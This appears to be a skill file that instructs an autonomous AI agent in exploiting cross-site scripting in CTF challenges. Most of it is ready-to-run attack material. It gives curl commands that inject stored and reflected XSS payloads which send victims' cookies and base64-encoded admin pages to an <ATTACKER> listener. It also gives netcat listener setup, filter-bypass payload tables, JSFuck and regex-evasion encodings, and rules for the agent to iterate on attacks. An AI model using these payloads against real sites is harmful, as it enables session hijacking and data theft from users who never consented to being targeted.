---
name: xss
description: "Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation."
allowed-tools: Bash Read Write
metadata:
  subdomain: execution
  when_to_use: "xss, cross-site scripting, reflected xss, stored xss, dom xss, javascript injection, cookie steal, script injection, Cross, cross site, alert, onerror, onload, img src, svg onload, bot visit, report url, admin cookie, session hijack, csp bypass, html injection"
  tags: web-application, xss, injection, client-side, cross-site-scripting
  mitre_attack: T1189, T1059.007
---

# Cross-Site Scripting (XSS) Exploitation

Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.

## Win Condition — Identify FIRST

**Pattern A — Bot/Cookie Chain** (classic CTF):
- A headless browser bot visits a URL you supply via `/report` or `/contact`
- Goal: exfiltrate `document.cookie` or admin page content to your listener
- Signals: `/report` endpoint exists, challenge mentions "admin visits", cookie in session

**Pattern B — Server-Side Alert Trigger** (Cross 30/31/32 series):
- NO bot, NO cookie exfiltration, NO `/report` endpoint (returns 404)
- The challenge evaluates reflected JS server-side; `alert("XSS")` or `alert(1)` in the response = flag
- Flag appears directly in the HTTP response body when alert triggers
- Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag", `new_umbrella` / `error_umbrella` in response, alphanumeric filter active
- Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)

**Quick check which pattern:**
```bash
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}"  # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin"        # Pattern A signals
```

## Detection
```bash
# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'

# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test'        # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test"    # JS string context

# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'

# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'
```

## Stored XSS with Bot Exfiltration (CTF Pattern)

The standard CTF XSS workflow:
1. Find a stored input (comments, profiles, messages)
2. Inject a payload that exfiltrates data when the admin bot views it
3. Trigger the bot (usually a `/report` endpoint)
4. Receive exfiltrated flag on your listener

```bash
# 1. Start a listener to receive exfiltrated data
python3 -m http.server 8888 &
# Or use netcat:
nc -lvnp 8888 &

# 2. Inject stored XSS that exfiltrates cookies
# Basic cookie steal
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'

# Image tag (bypasses many filters that block <script>)
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'

# SVG-based
curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'

# Fetch admin page content and exfiltrate
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>'

# Fetch sensitive endpoint directly (adjust path to observed app structure)
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>'

# 3. Trigger the bot to visit the page with injected XSS
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss'
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss'

# 4. Check listener output — decode base64 if used
echo '<base64_response>' | base64 -d
```

## Reflected XSS Flag Extraction
```bash
# If the flag is in the admin's cookie and there's a report/visit endpoint:
# Craft URL with reflected XSS that steals cookies
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED"
```

## Filter Bypass Techniques
```bash
# Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>

# No parentheses
<img src=x onerror="alert`1`">
<img src=x onerror="window['alert'](1)">

# No quotes / no spaces
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>

# HTML entity encoding bypass
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

# JavaScript URL scheme
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">

# Event handlers (bypass <script> tag blocks)
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<svg onload=alert(1)>

# Template literal + fetch (modern, avoids quotes)
<img src=x onerror=fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)>

# Double encoding (if server decodes twice)
%253Cscript%253Ealert(1)%253C/script%253E

# If angle brackets blocked — inject into existing JS context
';alert(1);//
"-alert(1)-"
```

## XSS to Flag — Complete CTF Workflow
1. **Identify injection point** — test all inputs for unescaped reflection
2. **Determine context** — HTML body, attribute, JS string, URL?
3. **Craft payload for context** — use appropriate escape/injection
4. **Check for bot/report endpoint** — `/report`, `/admin/visit`, `/contact`
5. **Set up exfil listener** — `python3 -m http.server` or `nc -lvnp`
6. **Inject + trigger bot** — store payload, then report URL to bot
7. **Check listener** — decode response, extract flag
8. **Common flag locations** — admin cookies, `/admin` page, `/.env` endpoint, DOM elements

## Cross-Series Budget Cap (MANDATORY for Cross N challenges)

When the challenge name is "Cross N" (e.g., Cross 11, Cross 24) and Pattern B is confirmed (no `/report`, filter active):

**Hard convergence rule — maximum 5 filter bypass attempts before JSFuck:**
1. Try 3 event-handler variants (`<input onfocus=alert("XSS") autofocus>`, `<details open ontoggle=alert("XSS")>`, `<svg/onload=alert("XSS")>`)
2. Try 1 JSFuck encode (`JSFuck.encode('alert("XSS")', false, true)`)
3. Try 1 partial-range bypass (z/Z char if angle-bracket filter suspected)

If none trigger the flag in 5 attempts: the filter is unusual. Do NOT iterate more payload variants manually — this consumes the context budget. Instead write `exploit/CONVERGED.md` with what was tried, then return to orchestrator with "Filter not bypassed in 5 attempts — needs specialist analysis".

**Anti-pattern**: Iterating 20+ curl variants of payload mutations (changing event handler names, encoding methods, etc.) with zero flag response. Each iteration is one context turn — 20 iterations = 20 turns = context exhausted = timeout. Stop at 5.

## JSFuck — Alphanumeric Filter Bypass

Use when: alphanumeric chars are blocked but `[]()!+` pass through (Pattern B / Cross series).

```bash
# Install jsfuck locally (node is pre-installed in sandbox)
npm install jsfuck 2>/dev/null

# Encode with runInParentScope=true (uses eval, avoids Function constructor)
node -e "
const {JSFuck} = require('./node_modules/jsfuck/jsfuck.js');
const payload = JSFuck.encode('alert(\"XSS\")', false, true);
console.log(payload);
" > /tmp/payload.txt

# Verify payload has zero alphanumeric chars
node -e "const p=require('fs').readFileSync('/tmp/payload.txt','utf8').trim(); console.log('len:',p.length,'alnum:',p.replace(/[^a-zA-Z0-9]/g,'').length)"

# Submit via curl, grep for flag in response
PAYLOAD=$(cat /tmp/payload.txt)
curl -sg "$TARGET/page?name=${PAYLOAD}" | grep -i "flag\|new_umbrella\|alert"
```

**Function-constructor TypeError fallback:**
If server returns `TypeError: Attempting to change the setter of an unconfigurable property`, the JS sandbox blocks Function constructor access. This is a known JSFuck failure mode in strict-mode / hardened sandboxes.

Fix: use `runInParentScope=true` (third argument) — switches from Function constructor to `eval()` injection:
```bash
# Default (broken in strict sandboxes): JSFuck.encode(str, false, false)  <- Function constructor
# Fixed:                                JSFuck.encode(str, false, true)   <- eval injection
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); console.log(JSFuck.encode('alert(1)',false,true))"
```

If `runInParentScope=true` still fails, try raw eval wrapping:
```bash
# Encode just the string 'alert("XSS")' then wrap in eval manually
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); const s=JSFuck.encode('\"alert(\\\\\"XSS\\\\\")\"',false,true); console.log('eval('+s+')')"
```

## Cross Challenge Pattern (No Bot / No Cookie)

Win condition: server-side JS evaluator detects `alert()` call in reflected input. No `/report` endpoint. No bot. No listener needed.

```bash
# Quick alphanumeric filter probe
curl -sg "$TARGET/page?name=abc" | grep -i "error_umbrella\|sorry\|blocked"   # blocked = filter active
curl -sg "$TARGET/page?name=[]()!+" | grep -i "new_umbrella\|ok"              # specials pass = JSFuck viable

# Inject and check response — success indicator appears in HTTP 200 body when alert triggers
curl -sg "$TARGET/page?name=$(cat /tmp/payload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')" | grep -i "new_umbrella\|success\|alert\|xss"
```

Do NOT waste time on:
- `/report`, `/contact`, `/visit` endpoints (404 on Cross challenges)
- `python3 -m http.server` listeners (no bot will callback)
- `document.cookie` exfiltration (cookie setter is frozen — signals Pattern B environment)

## Partial-Range Tag Filter Bypass

Some Cross challenges (e.g., filter-bypass example) use a regex like `<[a-yA-Y/]+` that blocks `<` followed by letters a–y / A–Y but excludes z/Z. Probe and bypass:

```bash
# Probe whether tag-name first char escapes the filter
curl -sg "$TARGET/page?name=<a>"     | grep -i "sorry"   # likely blocked (a in range)
curl -sg "$TARGET/page?name=<z>"     | grep -i "sorry"   # not blocked = z escapes
curl -sg "$TARGET/page?name=<Z>"     | grep -i "sorry"   # check uppercase Z
curl -sg "$TARGET/page?name=< img>"  | grep -i "sorry"   # space after `<` may bypass

# Once a non-blocked first-char is found, build payload with valid HTML tag.
# PhantomJS treats unknown tag names as elements; event handlers still fire on
# attribute parsing. Try (URL-encode with python3 urllib.parse.quote):
#   <Z onerror=alert("XSS") src=x>
#   <Zsvg onload=alert("XSS")>
# If unknown tags don't fire events, use `<svg/onload=...>` style with the
# regex-escaping prefix in front: e.g. some filters with `+` quantifier let
# `<>` (zero letters) slip through followed by `<svg ...>` later in the same
# attribute — test both placements.
```

Key insight: `re.findall` + `+` quantifier requires ≥1 matching char immediately after `<`. Any first character outside the class (digits, whitespace, `z`/`Z`, special chars) bypasses the regex entirely.

## Filter Bypass Cookbook

When basic payloads are blocked, use this table to pivot to the next bypass class after ≤3 failures per class:

| Filter blocks | Bypass class | Example payloads |
|---|---|---|
| `<script>` tag | Event handler on any element | `<svg onload=alert(1)>`, `<input autofocus onfocus=alert(1)>`, `<details open ontoggle=alert(1)>` |
| `alert` keyword | Property access / obfuscation | `window['ale'+'rt'](1)`, `(()=>alert)()(1)`, `top[/al/.source+/ert/.source](1)` |
| Quotes `"` and `'` | Template literals / charcode | `` <svg onload=alert`1`> ``, `<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>` |
| `(` and `)` | Template literal call | `` <svg onload=alert`1`> ``, `` setTimeout`alert\x281\x29` `` |
| `alert()` overridden by prototype | iframe srcdoc / new window | `<iframe srcdoc="<script>parent.alert(1)</script>">`, `<a href=javascript:alert(1)>click</a>` |
| Tag whitelist (specific tags only) | Style/CSS injection | `<div style="background:url('javascript:alert(1)')">` |
| Angle brackets `<` `>` | Inject into existing JS context | `';alert(1);//`, `"-alert(1)-"`, `\`;alert(1);//` |
| Prototype chain hardened | Direct assignment | `Object.prototype.toString=alert` |

**Pivot rule**: After 3 payloads in the same bypass class all fail → move to the NEXT row. Do not iterate within the same class more than 3 times.

## Bypass-Class Rotation Rule

The pivot rule in the filter-bypass table limits depth per class. This rule enforces breadth across classes — no more than 2 payloads from the same bypass class against the same endpoint before rotating.

**Track classes in `exploit/xss_classes.txt`**:

```bash
# Before each payload attempt
CLASS="event-handler"   # name of bypass class for this payload
NTRIED=$(grep -c "^${CLASS}$" exploit/xss_classes.txt 2>/dev/null || echo 0)
if [ "$NTRIED" -ge 2 ]; then
  echo "SKIP: ${CLASS} already tried ${NTRIED} times — rotate to a different class"
else
  echo "${CLASS}" >> exploit/xss_classes.txt
  # ... craft and send payload ...
fi
```

**Bypass classes to rotate among (try at least 4 per endpoint)**:

| # | Class name | Representative payloads |
|---|---|---|
| 1 | `tag-based` | `<script>`, `<svg>`, `<img onerror=>` |
| 2 | `event-handler` | `onload`, `onerror`, `onfocus autofocus`, `ontoggle` |
| 3 | `javascript-url` | `<a href="javascript:...">`, `<iframe src="javascript:...">` |
| 4 | `template-literal` | `` alert`1` ``, `String.fromCharCode(...)`, hex/unicode escapes |
| 5 | `iframe-srcdoc` | `<iframe srcdoc="<script>parent.alert(1)</script>">` |
| 6 | `css-style` | `<div style="background:url('javascript:...')">`, `expression(...)` |
| 7 | `js-context-inject` | `';alert(1);//`, `"-alert(1)-"`, inject into existing script block |
| 8 | `prototype-abuse` | `Object.prototype.toString=alert`, DOM clobbering |

**Why class-diversity beats deeper iteration**: Filter authors typically patch one class at a time. Rotating finds the unpatched class in ~4 attempts; iterating one class to its 10th variant wastes budget on an already-hardened surface.

**HARD RULE**: If `exploit/xss_classes.txt` shows ≥4 classes each tried 2× with no bypass — stop manual iteration. Write `exploit/CONVERGED.md` and return to orchestrator.

## Tools
| Tool | Purpose |
|------|---------|
| python3 -m http.server | Simple HTTP listener for exfiltration (Pattern A only) |
| nc -lvnp | Netcat listener for raw data (Pattern A only) |
| node + jsfuck npm | Alphanumeric filter bypass via JSFuck encoding (Pattern B) |
| XSStrike | Automated XSS detection with WAF bypass |
